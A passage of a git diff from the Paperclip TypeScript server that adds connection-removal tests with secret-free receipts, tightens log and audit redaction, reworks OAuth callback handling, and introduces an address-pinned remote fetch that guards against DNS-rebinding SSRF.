`mcp:${company.id}:${connectionId}`, + ownerScopeType: "connection", + ownerScopeId: connectionId, + runtimeKind: "local_stdio", + status: "running", + provider: "paperclip", + healthStatus: "ok", + }).returning(); + + const removed = await service.archiveConnection(connectionId, company.id); + + expect(removed.removal.runtimeSlotsStopped).toBe(1); + const [slotAfter] = await db.select().from(toolRuntimeSlots).where(eq(toolRuntimeSlots.id, slot!.id)); + expect(slotAfter!.status).toBe("stopped"); + expect(slotAfter!.metadata).toMatchObject({ stoppedReason: "connection_removed" }); + + // A second removal has nothing left to stop. + const again = await service.archiveConnection(connectionId, company.id); + expect(again.removal.runtimeSlotsStopped).toBe(0); + }); + + it("removes over the route with a secret-free receipt, then requires fresh credentials to reconnect", async () => { + installMcpFixture(HEADER); + const company = await createCompany(db); + const agent = await createAgent(db, company.id); + const { service, connectionId } = await connectHeaderApp(company.id, agent.id); + const app = createRouteApp(db); + const [beforeRemoval] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + const originalSecretIds = beforeRemoval!.credentialSecretRefs.map((ref) => ref.secretId); + expect(originalSecretIds.length).toBeGreaterThan(0); + + const response = await request(app).delete(`/api/tool-connections/${connectionId}`).expect(200); + + expect(response.body).toMatchObject({ id: connectionId, status: "archived", enabled: false }); + expect(response.body.removal).toMatchObject({ appProfile: "deleted", secretsRetainedShared: 0 }); + expect(response.body.removal.secretsRevoked).toBeGreaterThan(0); + // Nothing in the response body echoes the pasted value or a secret name. + expect(JSON.stringify(response.body)).not.toContain(HEADER.value); + + const [receipt] = await db + .select() + .from(activityLog) + .where(and(eq(activityLog.companyId, company.id), eq(activityLog.action, "tool_connection.archived"))); + expect(receipt!.details).toMatchObject({ + transport: "mcp_remote", + appProfile: "deleted", + secretsRetainedShared: 0, + applicationArchived: true, + }); + expect(Number((receipt!.details as Record).secretsRevoked)).toBeGreaterThan(0); + const receiptText = JSON.stringify(receipt!.details); + expect(receiptText).not.toContain(HEADER.value); + expect(receiptText).not.toContain("tool_app."); + + // Reconnect cannot lean on a retained credential: the archived connection + // refuses both reconnect and sign-in, and a fresh connect has to be given + // new credential values. + await expect(service.reconnectGalleryApp(connectionId, company.id, { credentialValues: {} })) + .rejects.toMatchObject({ status: 409 }); + await expect(service.startOAuth(company.id, connectionId, { + redirectUri: "https://paperclip.fixture.test/api/tools/oauth/callback", + actor: { actorType: "user", actorId: "board-user" }, + })).rejects.toMatchObject({ status: 409 }); + + const [archived] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + const reconnected = await service.connectGalleryApp(company.id, { + applicationId: archived!.applicationId, + link: MCP_URL, + name: archived!.name, + credentialValues: { [`headers.${HEADER.name}`]: HEADER.value }, + }); + // Same connection identity, brand new credential. + expect(reconnected.connectionId).toBe(connectionId); + const [after] = await db.select().from(toolConnections).where(eq(toolConnections.id, connectionId)); + expect(after!.credentialSecretRefs.length).toBeGreaterThan(0); + const reconnectedSecretIds = after!.credentialSecretRefs.map((ref) => ref.secretId); + // Not one of the revoked secrets came back. + for (const secretId of originalSecretIds) expect(reconnectedSecretIds).not.toContain(secretId); + // And the operator has to choose access again — the app profile is not back. + expect(await db.select().from(toolProfiles).where(eq(toolProfiles.profileKey, `app:${connectionId}`))).toEqual([]); + expect(await service.listConnectionInstalls(connectionId, company.id)).toEqual([]); + }); +}); diff --git a/server/src/__tests__/tool-gateway.test.ts b/server/src/__tests__/tool-gateway.test.ts index e923d275ff..ca427fc623 100644 --- a/server/src/__tests__/tool-gateway.test.ts +++ b/server/src/__tests__/tool-gateway.test.ts @@ -209,8 +209,8 @@ async function createRemoteMcpTool( status: input.connectionStatus ?? "active", enabled: input.connectionEnabled ?? true, healthStatus: input.healthStatus ?? "ok", - config: { url: input.url ?? "https://mcp.example.test/mcp" }, - transportConfig: { url: input.url ?? "https://mcp.example.test/mcp" }, + config: { url: input.url ?? "https://mcp.example.test/mcp", ...(input.connectionConfig ?? {}) }, + transportConfig: { url: input.url ?? "https://mcp.example.test/mcp", ...(input.connectionConfig ?? {}) }, credentialRefs: input.credentialRefs ?? [], credentialSecretRefs: input.credentialSecretRefs ?? [], }).returning(); @@ -1455,6 +1455,7 @@ rl.on("line", (line) => { }); const fake = await startFakeRemoteMcpServer((fakeRequest) => { expect(fakeRequest.headers.authorization).toBe(`Bearer ${credentialValue}`); + expect(fakeRequest.headers["x-posthog-project-id"]).toBe("12345"); const params = fakeRequest.body?.params as Record; const args = params.arguments as Record; return { @@ -1490,6 +1491,16 @@ rl.on("line", (line) => { required: true, label: "Remote MCP token", }], + connectionConfig: { + sourceTemplateKey: "posthog", + connectionMethodKey: "mcp-api-key", + methodConfig: { + projectId: "12345", + readOnly: true, + features: "insights", + mode: "tools", + }, + }, }); await allowAllToolsForAgent(db, company.id, agent.id); const gateway = createTestToolGatewayService(db); diff --git a/server/src/middleware/logger.ts b/server/src/middleware/logger.ts index dcc4320708..c26b55bcd4 100644 --- a/server/src/middleware/logger.ts +++ b/server/src/middleware/logger.ts @@ -1,9 +1,9 @@ import pino from "pino"; +import type { Logger } from "pino"; import { pinoHttp } from "pino-http"; import { HTTP_LOG_REDACT_PATHS } from "./http-log-redaction.js"; import { shouldSilenceHttpSuccessLog } from "./http-log-policy.js"; -import { redactSensitive } from "./redact-sensitive.js"; -import { redactWorkspaceHandoffTicket } from "../auth/workspace-login-handoff.js"; +import { redactSensitive, stripSecretBearingUrlParts } from "./redact-sensitive.js"; const sharedOpts = { translateTime: "SYS:HH:MM:ss", @@ -19,53 +19,63 @@ export const logger = isProduction options: { ...sharedOpts, ignore: "pid,hostname,req,res,responseTime", colorize: true, destination: 1 }, })); -export const httpLogger = pinoHttp({ - logger, - customLogLevel(_req, res, err) { - if (shouldSilenceHttpSuccessLog(_req.method, _req.url, res.statusCode)) { - return "silent"; - } - if (err || res.statusCode >= 500) return "error"; - if (res.statusCode >= 400) return "warn"; - return "info"; - }, - customSuccessMessage(req, res) { - // A workspace login handoff ticket is a bearer credential that rides in the - // query string, so the request line has to be redacted before it is logged. - return `${req.method} ${redactWorkspaceHandoffTicket(req.url ?? "")} ${res.statusCode}`; - }, - customErrorMessage(req, res, err) { - const ctx = (res as any).__errorContext; - const errMsg = ctx?.error?.message || err?.message || (res as any).err?.message || "unknown error"; - return `${req.method} ${redactWorkspaceHandoffTicket(req.url ?? "")} ${res.statusCode} — ${errMsg}`; - }, - customProps(req, res) { - if (res.statusCode >= 400) { - const ctx = (res as any).__errorContext; - if (ctx) { +export function createHttpLogger(baseLogger: Logger) { + return pinoHttp({ + logger: baseLogger, + serializers: { + req(req: Record & { url?: unknown }) { return { - errorContext: ctx.error, - reqBody: redactSensitive(ctx.reqBody), - reqParams: redactSensitive(ctx.reqParams), - reqQuery: redactSensitive(ctx.reqQuery), + ...req, + url: typeof req.url === "string" ? stripSecretBearingUrlParts(req.url) : req.url, + // The URL policy intentionally drops all query parameters. The default + // serializer also exposes the parsed query separately, so omit that + // duplicate path instead of letting credentials bypass the URL scrub. + query: undefined, }; + }, + }, + customLogLevel(_req, res, err) { + if (shouldSilenceHttpSuccessLog(_req.method, _req.url, res.statusCode)) { + return "silent"; } - const props: Record = {}; - const { body, params, query } = req as any; - if (body && typeof body === "object" && Object.keys(body).length > 0) { - props.reqBody = redactSensitive(body); + if (err || res.statusCode >= 500) return "error"; + if (res.statusCode >= 400) return "warn"; + return "info"; + }, + customSuccessMessage(req, res) { + return `${req.method} ${stripSecretBearingUrlParts(req.url ?? "")} ${res.statusCode}`; + }, + customErrorMessage(req, res, err) { + const ctx = (res as any).__errorContext; + const errMsg = ctx?.error?.message || err?.message || (res as any).err?.message || "unknown error"; + return `${req.method} ${stripSecretBearingUrlParts(req.url ?? "")} ${res.statusCode} — ${errMsg}`; + }, + customProps(req, res) { + if (res.statusCode >= 400) { + const ctx = (res as any).__errorContext; + if (ctx) { + return { + errorContext: ctx.error, + reqBody: redactSensitive(ctx.reqBody), + reqParams: redactSensitive(ctx.reqParams), + }; + } + const props: Record = {}; + const { body, params } = req as any; + if (body && typeof body === "object" && Object.keys(body).length > 0) { + props.reqBody = redactSensitive(body); + } + if (params && typeof params === "object" && Object.keys(params).length > 0) { + props.reqParams = redactSensitive(params); + } + if ((req as any).route?.path) { + props.routePath = (req as any).route.path; + } + return props; } - if (params && typeof params === "object" && Object.keys(params).length > 0) { - props.reqParams = redactSensitive(params); - } - if (query && typeof query === "object" && Object.keys(query).length > 0) { - props.reqQuery = redactSensitive(query); - } - if ((req as any).route?.path) { - props.routePath = (req as any).route.path; - } - return props; - } - return {}; - }, -}); + return {}; + }, + }); +} + +export const httpLogger = createHttpLogger(logger); diff --git a/server/src/middleware/redact-sensitive.ts b/server/src/middleware/redact-sensitive.ts index b7e7b87315..ac45f47eec 100644 --- a/server/src/middleware/redact-sensitive.ts +++ b/server/src/middleware/redact-sensitive.ts @@ -49,6 +49,15 @@ const SENSITIVE_KEYS = new Set([ // credential carried as a query parameter, so it must never reach a log line // even though the exchange itself answers 302. "ticket", + // Not secrets Paperclip holds, but attacker-authored prose: an OAuth provider + // controls `error_description` / `error_uri` on the callback query string, and + // `customProps` copies the whole query into 4xx log lines. Paperclip maps the + // `error` code to its own copy instead of reflecting these, so they have no + // debugging value here either (PAP-17108). + "error_description", + "errordescription", + "error_uri", + "erroruri", ]); const MAX_DEPTH = 6; @@ -78,17 +87,20 @@ function isUrlishKey(key: string): boolean { return URLISH_KEYS.has(key.toLowerCase()); } -function stripSecretBearingUrlParts(value: string): string { +export function stripSecretBearingUrlParts(value: string): string { + const suffixStart = value.search(/[?#]/); + const withoutQueryOrFragment = suffixStart === -1 ? value : value.slice(0, suffixStart); + try { - const url = new URL(value); - if (!url.username && !url.password && !url.search && !url.hash) return value; + const url = new URL(withoutQueryOrFragment); + if (!url.username && !url.password && suffixStart === -1) return value; url.username = ""; url.password = ""; - url.search = ""; - url.hash = ""; return url.toString(); } catch { - return value; + // Request URLs are normally origin-form paths rather than absolute URLs. + // They still need the same query/fragment policy as URL-valued payloads. + return withoutQueryOrFragment; } } diff --git a/server/src/redaction.ts b/server/src/redaction.ts index eea53edc67..75cdb086b4 100644 --- a/server/src/redaction.ts +++ b/server/src/redaction.ts @@ -9,6 +9,26 @@ const SECRET_PAYLOAD_KEY_RE = new RegExp(SECRET_FIELD_NAME_PATTERN, "i"); // "authorization". JWT-shaped values are still caught by the value guard below. const AUDIT_REASON_PAYLOAD_KEY_RE = /^authorizationReason$/; const AUDIT_SURFACE_PAYLOAD_KEY_RE = /^surface$/; +/** + * Cleanup counts on a connection-removal receipt (PAP-17119). Their names name + * the thing they counted — secrets, bindings, tokens — so the key guard above + * would blank the whole receipt and leave the operator unable to see what a + * revocation actually tore down. They pass only while the value really is a + * finite number, so nothing that could carry material rides through on the + * strength of a familiar key name. + */ +const AUDIT_COUNT_PAYLOAD_KEYS = new Set([ + "secretsRevoked", + "secretsRetainedShared", + "credentialRefsCleared", + "secretBindingsRemoved", + "tokenIssuanceHashesCleared", + "gatewayTokensRevoked", +]); + +function isAuditCountField(key: string, value: unknown): boolean { + return AUDIT_COUNT_PAYLOAD_KEYS.has(key) && typeof value === "number" && Number.isFinite(value); +} const COMMAND_PAYLOAD_KEY_RE = /(^command$|^cmd$|command[-_]?line|resolved[-_]?command|PAPERCLIP_RESOLVED_COMMAND)/i; const COMMAND_ARGS_PAYLOAD_KEY_RE = /^(commandArgs|command_?args|argv)$/i; @@ -107,7 +127,11 @@ export function sanitizeRecord(record: Record): Record | null | undefined): string[] { @@ -53,6 +57,28 @@ function allowlistIds(config: Record | null | undefined): strin return raw.filter((value): value is string => typeof value === "string" && value.trim().length > 0); } +function agentOrgDepths(rows: Array<{ id: string; reportsTo: string | null }>): Map { + const parentById = new Map(rows.map((row) => [row.id, row.reportsTo])); + const depthById = new Map(); + + const depthFor = (agentId: string, path: Set): number => { + const known = depthById.get(agentId); + if (known !== undefined) return known; + const parentId = parentById.get(agentId); + if (!parentId || !parentById.has(parentId) || path.has(agentId)) { + depthById.set(agentId, 0); + return 0; + } + const nextPath = new Set(path).add(agentId); + const depth = depthFor(parentId, nextPath) + 1; + depthById.set(agentId, depth); + return depth; + }; + + for (const row of rows) depthFor(row.id, new Set()); + return depthById; +} + /** * Classify a connection PATCH into operator-visible lifecycle events so the * per-app Activity tab can humanize them (PAP-11284). A single update may @@ -109,10 +135,23 @@ export function toolAccessRoutes( function oauthRedirectUri() { const configured = configuredPublicBaseUrl(); if (!configured) { - throw unprocessable("OAuth connections require PAPERCLIP_PUBLIC_URL or an auth public base URL"); + throw unprocessable( + "This Paperclip needs a browser-reachable HTTPS address (or loopback HTTP) before browser sign-in can start.", + { code: "oauth_redirect_origin_unsupported" }, + ); } return new URL("/api/tools/oauth/callback", configured).toString(); } + + async function oauthSetupPath(companyId: string, connectionId: string) { + const [company] = await db + .select({ issuePrefix: companies.issuePrefix }) + .from(companies) + .where(eq(companies.id, companyId)) + .limit(1); + if (!company) throw new Error("OAuth callback connection belongs to a missing company"); + return `/${company.issuePrefix}/apps/${connectionId}/setup`; + } const access = accessService(db); async function assertBoardToolPermission(req: Request, companyId: string, permissionKey: PermissionKey) { @@ -252,17 +291,48 @@ export function toolAccessRoutes( }); }); + /** + * Paperclip's Client ID Metadata Document (PAP-17087). + * + * The document's own URL is the `client_id` Paperclip presents to an + * authorization server that supports CIMD, so this endpoint has to be publicly + * readable — an authorization server fetches it server-to-server with no + * Paperclip session. It contains only this deployment's callback and the + * grant/response/auth methods Paperclip uses: no company, connection or secret + * data of any kind. + */ + router.get(OAUTH_CLIENT_ID_METADATA_DOCUMENT_PATH.replace(/^\/api/, ""), (_req, res) => { + const redirectUri = oauthRedirectUri(); + const clientId = new URL(OAUTH_CLIENT_ID_METADATA_DOCUMENT_PATH, new URL(redirectUri).origin).toString(); + res.type("application/json").json(oauthClientIdMetadataDocument({ clientId, redirectUri })); + }); + router.post("/companies/:companyId/tools/apps/connect", validate(connectToolAppSchema), async (req, res) => { const companyId = req.params.companyId as string; assertToolAppMutationAccess(req, companyId); try { const result = await svc.connectGalleryApp(companyId, req.body, getActorInfo(req)); if (result.auth?.kind === "oauth") { - const start = await svc.startOAuth(companyId, result.connectionId, { - redirectUri: oauthRedirectUri(), - actor: getActorInfo(req), - }); - result.auth.startUrl = start.authorizationUrl; + try { + const start = await svc.startOAuth(companyId, result.connectionId, { + redirectUri: oauthRedirectUri(), + actor: getActorInfo(req), + }); + result.auth.startUrl = start.authorizationUrl; + result.auth.issuer = start.issuer ?? result.auth.issuer ?? null; + result.auth.resource = start.resource ?? result.auth.resource ?? null; + result.auth.registrationSource = start.registrationSource ?? null; + } catch (error) { + // An unknown server whose authorization server supports neither CIMD + // nor dynamic registration is not a failed connect: the draft + // connection is real and usable as soon as the operator supplies a + // client they registered themselves. Report that instead of a 4xx so + // the wizard can ask for it rather than losing the draft. + const code = error instanceof HttpError ? String((error.details as { code?: unknown })?.code ?? "") : ""; + if (code !== "oauth_manual_client_required" && code !== "oauth_manual_client_rebinding_required") throw error; + result.auth.startUrl = null; + result.auth.manualClientRequired = true; + } } await logActivity(db, { companyId, @@ -323,20 +393,46 @@ export function toolAccessRoutes( const state = typeof req.query.state === "string" ? req.query.state : ""; const code = typeof req.query.code === "string" ? req.query.code : null; const error = typeof req.query.error === "string" ? req.query.error : null; - const errorDescription = typeof req.query.error_description === "string" ? req.query.error_description : null; + // `error_description` / `error_uri` are read from neither the query nor the + // provider's body: they are provider-authored prose, and Paperclip maps the + // `error` code to its own copy instead of reflecting them (PAP-17108). + const iss = typeof req.query.iss === "string" ? req.query.iss : null; const pendingState = state ? await svc.peekOAuthState(state) : null; if (!pendingState || !hasCompanyAccess(req, pendingState.companyId)) { throw badRequest("Invalid or expired OAuth state"); } assertToolAppMutationAccess(req, pendingState.companyId); - const result = await svc.completeOAuthCallback({ - state, - code, - error, - errorDescription, - redirectUri: oauthRedirectUri(), - actor: getActorInfo(req), - }); + const acceptsHtml = req.get("accept")?.includes("text/html") === true; + let result: Awaited>; + try { + result = await svc.completeOAuthCallback({ + state, + code, + error, + iss, + // A provider denial is bound and consumed by state alone. Avoid + // requiring this deployment's callback origin just to record that the + // user declined; successful code exchange still validates the origin. + redirectUri: error ? "" : oauthRedirectUri(), + actor: getActorInfo(req), + }); + } catch (callbackError) { + if (!acceptsHtml) throw callbackError; + const details = callbackError instanceof HttpError + && callbackError.details + && typeof callbackError.details === "object" + && !Array.isArray(callbackError.details) + ? callbackError.details as Record + : null; + const callbackErrorCode = typeof details?.code === "string" ? details.code : null; + const params = new URLSearchParams({ + oauth: callbackErrorCode === "oauth_authorization_denied" ? "denied" : "failed", + }); + if (callbackErrorCode) params.set("code", callbackErrorCode); + const setupPath = await oauthSetupPath(pendingState.companyId, pendingState.connectionId); + res.redirect(303, `${setupPath}?${params.toString()}`); + return; + } await logActivity(db, { companyId: result.connection.companyId, actorType: "user", @@ -349,14 +445,9 @@ export function toolAccessRoutes( catalogEntryCount: result.catalog.length, }, }); - if (req.get("accept")?.includes("text/html")) { - const [company] = await db - .select({ issuePrefix: companies.issuePrefix }) - .from(companies) - .where(eq(companies.id, result.connection.companyId)) - .limit(1); - if (!company) throw new Error("OAuth callback connection belongs to a missing company"); - res.redirect(303, `/${company.issuePrefix}/apps/${result.connection.id}/setup?oauth=connected`); + if (acceptsHtml) { + const setupPath = await oauthSetupPath(result.connection.companyId, result.connection.id); + res.redirect(303, `${setupPath}?oauth=connected`); return; } res.json(result); @@ -674,9 +765,11 @@ export function toolAccessRoutes( role: agents.role, title: agents.title, status: agents.status, + reportsTo: agents.reportsTo, }) .from(agents) .where(eq(agents.companyId, connection.companyId)); + const orgDepthByAgentId = agentOrgDepths(rows); const candidates = []; for (const agent of rows) { try { @@ -685,7 +778,12 @@ export function toolAccessRoutes( continue; } candidates.push({ - ...agent, + id: agent.id, + name: agent.name, + role: agent.role, + title: agent.title, + status: agent.status, + orgDepth: orgDepthByAgentId.get(agent.id) ?? 0, effectiveAccess: await options.toolGateway.summarizeConnectionAccessForAgent({ companyId: connection.companyId, connectionId: connection.id, @@ -693,6 +791,7 @@ export function toolAccessRoutes( }), }); } + candidates.sort((a, b) => a.orgDepth - b.orgDepth || a.name.localeCompare(b.name)); res.json({ agents: candidates }); }); @@ -791,8 +890,15 @@ export function toolAccessRoutes( if (!existing) return; assertToolAppMutationAccess(req, existing.companyId); const applicationBefore = await svc.getApplication(existing.applicationId); - const connection = await svc.archiveConnection(existing.id); + const { connection, removal } = await svc.archiveConnection( + existing.id, + existing.companyId, + getActorInfo(req), + ); const applicationAfter = await svc.getApplication(existing.applicationId); + // The receipt is counts and outcomes only. Removal is a revocation boundary + // (PAP-17119) and operators need to see what it tore down, but this row is + // company-readable activity, so it never carries a secret name or value. await logActivity(db, { companyId: connection.companyId, actorType: "user", @@ -800,7 +906,7 @@ export function toolAccessRoutes( action: "tool_connection.archived", entityType: "tool_connection", entityId: connection.id, - details: { transport: connection.transport }, + details: { transport: connection.transport, ...removal }, }); if (applicationBefore.status !== "archived" && applicationAfter.status === "archived") { await logActivity(db, { @@ -813,7 +919,7 @@ export function toolAccessRoutes( details: { type: applicationAfter.type, name: applicationAfter.name, reason: "last_connection_removed" }, }); } - res.json(connection); + res.json({ ...connection, removal }); }); router.post("/tool-connections/:connectionId/health-check", async (req, res) => { diff --git a/server/src/services/remote-http-endpoint-guard.ts b/server/src/services/remote-http-endpoint-guard.ts index 4ed1fdb30e..e4204d2da5 100644 --- a/server/src/services/remote-http-endpoint-guard.ts +++ b/server/src/services/remote-http-endpoint-guard.ts @@ -39,7 +39,29 @@ export async function assertPublicRemoteHttpEndpoint( options: RemoteHttpEndpointGuardOptions, error: RemoteHttpEndpointErrorFactory, ): Promise { - if (options.allowPrivateNetwork) return; + await resolveApprovedRemoteHttpAddresses(endpoint, options, error); +} + +/** + * Validate a remote endpoint and return the exact address set that was approved. + * + * Callers must dial one of the returned addresses instead of letting the socket + * layer resolve the hostname a second time. A second resolution reopens a + * DNS-rebinding TOCTOU window: an attacker-controlled name server can answer + * with a public address while this guard is looking, then with a loopback, + * private or link-local address a moment later when the connection is made + * (PAP-17098). Returning the resolved set — rather than a bare `void` — is what + * lets `guardedRemoteHttpFetch` close that window. + * + * An empty result means "no address pinning required": the deployment allows + * private endpoints, so there is no boundary left to enforce. + */ +export async function resolveApprovedRemoteHttpAddresses( + endpoint: URL, + options: RemoteHttpEndpointGuardOptions, + error: RemoteHttpEndpointErrorFactory, +): Promise { + if (options.allowPrivateNetwork) return []; const hostname = endpoint.hostname.replace(/^\[|\]$/g, "").toLowerCase(); if (hostname === "localhost" || hostname.endsWith(".localhost")) { @@ -51,7 +73,7 @@ export async function assertPublicRemoteHttpEndpoint( if (isPrivateOrReservedIp(hostname)) { throw error("Remote MCP connection URL cannot target private or reserved network addresses", "remote_http_private_endpoint"); } - return; + return [hostname]; } let results: LookupResult[]; @@ -70,6 +92,22 @@ export async function assertPublicRemoteHttpEndpoint( if (results.some((result) => isPrivateOrReservedIp(result.address))) { throw error("Remote MCP connection URL cannot resolve to private or reserved network addresses", "remote_http_private_endpoint"); } + return results.map((result) => result.address); +} + +/** + * Reduce an address to the form used for comparing an approved address against + * the peer a socket actually connected to. `socket.remoteAddress` may come back + * as an IPv4-mapped IPv6 address or carry an IPv6 zone index, neither of which + * appears in a DNS answer. + */ +export function normalizeIpAddress(address: string): string { + const lower = address.trim().toLowerCase().replace(/^\[|\]$/g, "").split("%")[0] ?? ""; + const mappedIpv4 = lower.match(/^::ffff:(\d{1,3}(?:\.\d{1,3}){3})$/); + if (mappedIpv4?.[1]) return mappedIpv4[1]; + const mappedIpv4Hex = parseMappedIpv4Hex(lower); + if (mappedIpv4Hex) return mappedIpv4Hex; + return lower; } function defaultLookup(hostname: string): Promise { @@ -93,7 +131,7 @@ async function lookupWithTimeout(hostname: string, lookup: RemoteHttpEndpointLoo } } -function isPrivateOrReservedIp(address: string): boolean { +export function isPrivateOrReservedIp(address: string): boolean { const lower = address.toLowerCase(); const mappedIpv4 = lower.match(/^::ffff:(\d{1,3}(?:\.\d{1,3}){3})$/); if (mappedIpv4?.[1]) return isPrivateOrReservedIpv4(mappedIpv4[1]); diff --git a/server/src/services/remote-http-fetch.ts b/server/src/services/remote-http-fetch.ts new file mode 100644 index 0000000000..5190df97df --- /dev/null +++ b/server/src/services/remote-http-fetch.ts @@ -0,0 +1,417 @@ +import { request as httpRequest, type IncomingMessage } from "node:http"; +import { request as httpsRequest } from "node:https"; +import { connect as netConnect, isIP, type Socket } from "node:net"; +import { Readable } from "node:stream"; +import { connect as tlsConnect, type TLSSocket } from "node:tls"; +import { createBrotliDecompress, createGunzip, createInflate } from "node:zlib"; + +import { + isPrivateOrReservedIp, + normalizeIpAddress, + resolveApprovedRemoteHttpAddresses, + type RemoteHttpEndpointErrorFactory, + type RemoteHttpEndpointGuardOptions, +} from "./remote-http-endpoint-guard.js"; + +/** Statuses whose HTTP semantics forbid a response body. */ +const NULL_BODY_STATUSES = new Set([101, 103, 204, 205, 304]); + +const DEFAULT_CONNECT_TIMEOUT_MS = 10_000; + +/** + * Stands in for undici's `headersTimeout`/`bodyTimeout`, which the platform + * `fetch` applied for free. Without it a remote server that accepts the + * connection and then stays silent would hold the request open indefinitely — + * the OAuth callers pass no `AbortSignal`, so nothing else would ever cut it + * loose (PAP-17110). + * + * Deliberately far tighter than undici's 300 s: everything that reaches this + * transport is metadata discovery, a token exchange, a DCR call or an MCP + * JSON-RPC round trip, none of which has any business taking minutes. Callers + * that own a longer budget — `tools/call`, which an operator can raise to 60 s — + * pass `responseTimeoutMs` so this default never truncates it. + */ +const DEFAULT_RESPONSE_TIMEOUT_MS = 30_000; +const DNS_RESOLUTION_ERROR_CODES = new Set(["ENODATA", "ENOTFOUND", "EAI_AGAIN"]); + +/** How a verified socket is opened. Overridable so tests can simulate a rebind. */ +export type RemoteHttpSocketFactory = (target: { + address: string; + port: number; + hostname: string; + useTls: boolean; +}) => Socket; + +export type GuardedRemoteHttpFetchOptions = RemoteHttpEndpointGuardOptions & { + /** Builds the rejection thrown when the guard or the peer check fails. */ + error: RemoteHttpEndpointErrorFactory; + /** + * Test seam: opens the raw TCP socket. Production leaves this unset so the + * socket is dialled at the approved address. A factory that connects + * somewhere else stands in for a rebind below the DNS layer, and must still + * be caught by the peer-address check. + */ + socketFactory?: RemoteHttpSocketFactory; + connectTimeoutMs?: number; + /** Deadline for response headers, and idle deadline between body chunks. */ + responseTimeoutMs?: number; + /** + * Platform `fetch`, used only when the deployment allows private endpoints and + * there is therefore no egress boundary to pin against. + */ + unpinnedFetch?: typeof fetch; +}; + +/** + * Fetch a remote endpoint without reopening the DNS-rebinding window the guard + * just closed (PAP-17098). + * + * `assertPublicRemoteHttpEndpoint` used to hand its verdict to a bare global + * `fetch`, which resolved the hostname a second time. An attacker who controls + * the name server for the hostname could answer with a public address for the + * guard's lookup and a loopback, RFC 1918 or link-local address for the + * connection, reaching internal services and cloud metadata from the Paperclip + * server. This function instead: + * + * 1. resolves and validates the hostname exactly once, keeping the approved + * address set; + * 2. dials one of those approved addresses directly, so the socket layer never + * performs its own lookup; + * 3. preserves the original hostname for the `Host` header, for TLS SNI and for + * certificate identity checking, so pinning is invisible to the peer; + * 4. re-checks the address the socket actually connected to before a single + * request byte is written, which also covers a rebind below DNS; and + * 5. never follows redirects — it behaves as `redirect: "manual"` so the caller + * re-runs the whole guard against every `Location` it decides to follow. + * + * Two cases need no pinning and keep platform `fetch` semantics: + * + * - the deployment allows private endpoints, where the guard is a documented + * no-op and rebinding cannot reach anything an operator could not reach by + * typing the private URL in directly; and + * - the URL already carries an IP literal, where no name resolution happens on + * either side of the guard, so there is no second answer to disagree with the + * first. `URL` has already normalised the literal (`0x7f.1`, `::ffff:7f00:1`) + * by the time the guard classifies it. + */ +export async function guardedRemoteHttpFetch( + url: string | URL, + init: RequestInit, + options: GuardedRemoteHttpFetchOptions, +): Promise { + const endpoint = url instanceof URL ? url : new URL(url); + const approved = await resolveApprovedRemoteHttpAddresses(endpoint, options, options.error); + const literalHost = isIP(endpoint.hostname.replace(/^\[|\]$/g, "")) !== 0; + const platformFetch = options.unpinnedFetch ?? fetch; + if (approved.length === 0 || literalHost) { + try { + return await platformFetch(endpoint.toString(), { ...init, redirect: "manual" }); + } catch (error) { + if (isDnsResolutionError(error)) { + throw options.error( + "Remote MCP connection hostname could not be resolved", + "remote_http_dns_failed", + ); + } + throw error; + } + } + return pinnedRequest(endpoint, approved, init, options); +} + +/** Node's platform fetch wraps DNS failures in TypeError.cause. */ +function isDnsResolutionError(error: unknown): boolean { + const seen = new Set(); + let current = error; + while (typeof current === "object" && current !== null && !seen.has(current)) { + seen.add(current); + const record = current as { code?: unknown; cause?: unknown }; + if (typeof record.code === "string" && DNS_RESOLUTION_ERROR_CODES.has(record.code)) return true; + current = record.cause; + } + return false; +} + +async function pinnedRequest( + endpoint: URL, + approved: string[], + init: RequestInit, + options: GuardedRemoteHttpFetchOptions, +): Promise { + const useTls = endpoint.protocol === "https:"; + const hostname = endpoint.hostname.replace(/^\[|\]$/g, ""); + const port = endpoint.port ? Number(endpoint.port) : useTls ? 443 : 80; + const approvedSet = new Set(approved.map(normalizeIpAddress)); + const signal = init.signal ?? null; + + signal?.throwIfAborted?.(); + + const socket = await dialApprovedAddress({ approved, approvedSet, port, hostname, useTls, signal, options }); + + try { + return await sendRequest({ + endpoint, + hostname, + port, + useTls, + socket, + init, + signal, + responseTimeoutMs: options.responseTimeoutMs ?? DEFAULT_RESPONSE_TIMEOUT_MS, + error: options.error, + }); + } catch (error) { + socket.destroy(); + throw error; + } +} + +/** An approved address that could not be reached, so the next one may be tried. */ +class UnreachableAddressError extends Error { + constructor(readonly reason: unknown) { + super("Remote MCP approved address was unreachable"); + } +} + +/** + * Try the approved addresses in resolution order. + * + * `fetch` walks every A/AAAA record before giving up, so pinning to `approved[0]` + * alone would break a multi-homed host whose first record happens to be dead. A + * peer that fails the address check is a different matter — that is the rebinding + * defence firing, not a reachability problem — so it fails closed immediately + * rather than moving down the list. + */ +async function dialApprovedAddress(input: { + approved: string[]; + approvedSet: Set; + port: number; + hostname: string; + useTls: boolean; + signal: AbortSignal | null; + options: GuardedRemoteHttpFetchOptions; +}): Promise { + let lastReason: unknown; + for (const address of input.approved) { + input.signal?.throwIfAborted?.(); + try { + return await openVerifiedSocket({ ...input, address }); + } catch (error) { + if (!(error instanceof UnreachableAddressError)) throw error; + lastReason = error.reason; + } + } + throw lastReason + ?? input.options.error("Remote MCP endpoint could not be reached", "remote_http_connect_failed"); +} + +/** + * Connect to `address`, confirm the peer really is that approved address, and + * only then complete the TLS handshake. Verifying before the handshake keeps + * even a ClientHello off an internal service. + */ +async function openVerifiedSocket(input: { + address: string; + approvedSet: Set; + port: number; + hostname: string; + useTls: boolean; + signal: AbortSignal | null; + options: GuardedRemoteHttpFetchOptions; +}): Promise { + const { address, approvedSet, port, hostname, useTls, signal, options } = input; + const connectTimeoutMs = options.connectTimeoutMs ?? DEFAULT_CONNECT_TIMEOUT_MS; + const factory = options.socketFactory + ?? ((target) => netConnect({ host: target.address, port: target.port })); + + const raw = factory({ address, port, hostname, useTls }); + + try { + await once(raw, "connect", { signal, timeoutMs: connectTimeoutMs, what: "connect to" }); + } catch (error) { + // A connect timeout used to leave the half-open socket behind, because + // nothing above this point owns it yet. + raw.destroy(); + if (signal?.aborted) throw error; + throw new UnreachableAddressError(error); + } + + const peer = raw.remoteAddress ? normalizeIpAddress(raw.remoteAddress) : null; + if (!peer || isPrivateOrReservedIp(peer) || !approvedSet.has(peer)) { + raw.destroy(); + throw options.error( + "Remote MCP connection resolved to an address that was not approved", + 